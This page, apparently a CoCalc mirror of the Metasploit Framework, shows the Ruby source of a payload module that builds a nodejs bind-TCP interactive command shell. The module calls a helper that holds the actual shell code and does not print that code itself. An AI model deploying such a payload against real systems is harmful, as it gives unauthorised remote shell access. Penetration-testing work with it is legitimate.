Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/nodejs/shell_bind_tcp.rb
21547 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# It would be better to have a commonjs payload, but because the implementations
7
# differ so greatly when it comes to require() paths for net modules, we will
8
# settle for just getting shells on nodejs.
9
10
module MetasploitModule
11
CachedSize = 555
12
13
include Msf::Payload::Single
14
include Msf::Payload::NodeJS
15
include Msf::Sessions::CommandShellOptions
16
17
def initialize(info = {})
18
super(
19
merge_info(
20
info,
21
'Name' => 'Command Shell, Bind TCP (via nodejs)',
22
'Description' => 'Creates an interactive shell via nodejs',
23
'Author' => ['joev'],
24
'License' => BSD_LICENSE,
25
'Platform' => 'nodejs',
26
'Arch' => ARCH_NODEJS,
27
'Handler' => Msf::Handler::BindTcp,
28
'Session' => Msf::Sessions::CommandShell,
29
'PayloadType' => 'nodejs',
30
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
31
)
32
)
33
end
34
35
#
36
# Constructs the payload
37
#
38
def generate(_opts = {})
39
super + command_string
40
end
41
42
#
43
# Returns the JS string to use for execution
44
#
45
def command_string
46
nodejs_bind_tcp
47
end
48
end
49
50